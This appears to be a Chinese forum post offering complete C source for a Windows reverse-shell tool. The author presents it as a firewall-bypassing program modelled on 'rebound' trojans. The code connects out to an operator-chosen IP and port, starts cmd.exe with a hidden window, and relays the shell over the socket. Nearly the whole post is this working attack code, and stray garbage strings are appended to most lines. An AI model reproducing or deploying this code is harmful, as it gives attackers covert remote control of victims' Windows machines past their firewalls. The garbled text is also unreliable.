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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 G+ v, Hi1  
h+~df(S.  
/* ============================== _G[I2]  
Rebound port in Windows NT *;e@t4  
By wind,2006/7 ;c- ]bhBB  
===============================*/ $7&l6~sMQ  
#include 5f'g 3'  
#include |8c:+8  
&^n> ZY,  
#pragma comment(lib,"wsock32.lib") rk,1am:cg  
g~c|~u(W  
void OutputShell(); uy _i{Y|  
SOCKET sClient; &s^>S? L-  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Ogke*qM  
Eu/y">;v#  
void main(int argc,char **argv) 72ViPWW  
{ Kq 4<l  
WSADATA stWsaData; n_aNs]C9R  
int nRet; ^b!7R <>~  
SOCKADDR_IN stSaiClient,stSaiServer; mH*@d"  
$7n#\h  
if(argc != 3) iSr`fQw#  
{ 20l_ay  
printf("Useage:\n\rRebound DestIP DestPort\n"); CLY6 YB' R  
return; afF+*\xXN  
} I\rZk9F  
::OFW@dS  
WSAStartup(MAKEWORD(2,2),&stWsaData); *V6QB e  
x`+ l#  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); AuDR |;i  
>=~Fo)V!(V  
stSaiClient.sin_family = AF_INET; mKq<'t]^k  
stSaiClient.sin_port = htons(0); dxn0HXU  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); *$L z2 ]  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) :-u-hO5*8  
{ G?-`>N-u  
printf("Bind Socket Failed!\n"); Vv]$\`d#  
return; Q5y q"/=[a  
} e-iYJ?  
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stSaiServer.sin_family = AF_INET; 7mn,{2  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); #5-A&  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); L)/6kt=  
3aO;@GNJ  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) $35,\ZO>  
{ VXkAFgO  
printf("Connect Error!"); KIKq9*  
return; nEd M_JPv  
} u*26>.  
OutputShell(); ]CIQq1iY  
} Ep<!zO|  
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void OutputShell() EItxRHV5  
{ ~Un64M?  
char szBuff[1024]; Kunle~Ro  
SECURITY_ATTRIBUTES stSecurityAttributes; D(qHf9  
OSVERSIONINFO stOsversionInfo; P(pd0,%i;a  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; ]HyHz9QkL  
STARTUPINFO stStartupInfo; CO:*x,6au  
char *szShell; L{2b0Zh'  
PROCESS_INFORMATION stProcessInformation; U6juS/  
unsigned long lBytesRead; }O.LPQ0  
VR4E 2^  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); : 'd76pM-  
emv;m/&8  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); (|<h^] y3  
stSecurityAttributes.lpSecurityDescriptor = 0; Bw 3F7W~l  
stSecurityAttributes.bInheritHandle = TRUE; {5QosC+o6Q  
H}h~~7E  
0 OAqA?Z  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); M)"]$TM  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); !K3i-zY  
gH{:`E k7  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); wi\z>'R  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Y_[g_  
stStartupInfo.wShowWindow = SW_HIDE; 068WlF cWV  
stStartupInfo.hStdInput = hReadPipe; y _'eyR@)  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; C~ZE95g  
3VcT7y*{P  
GetVersionEx(&stOsversionInfo); $R%+*  
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switch(stOsversionInfo.dwPlatformId) J16=!q()  
{ 1Q&cVxA"\  
case 1: tLS<0  
szShell = "command.com"; E\R raPkQT  
break; Z!wD~C"D73  
default: <#xrrRhm}  
szShell = "cmd.exe"; R=\v3m  
break; ]`zjRRd  
} b A)b`1lI  
+"YTCzv;t  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 8?e   
|`w$|pm=  
send(sClient,szMsg,77,0); cs K>iN  
while(1) =cdh'"XN  
{ %<aImR]  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); x1N me%%&  
if(lBytesRead) *he7BUO  
{ _&W0e}4  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); <TI3@9\qXE  
send(sClient,szBuff,lBytesRead,0); G%2P  
} _qY`KP "  
else z@!^ow)`J  
{ Y*Y&)k6 t  
lBytesRead=recv(sClient,szBuff,1024,0); lq1[r~  
if(lBytesRead<=0) break; tgO+*q5B  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); PSW #^o  
} R'G'&H{N  
} xik`W!1S  
<9@&oN+T  
return; "0|BoG  
}
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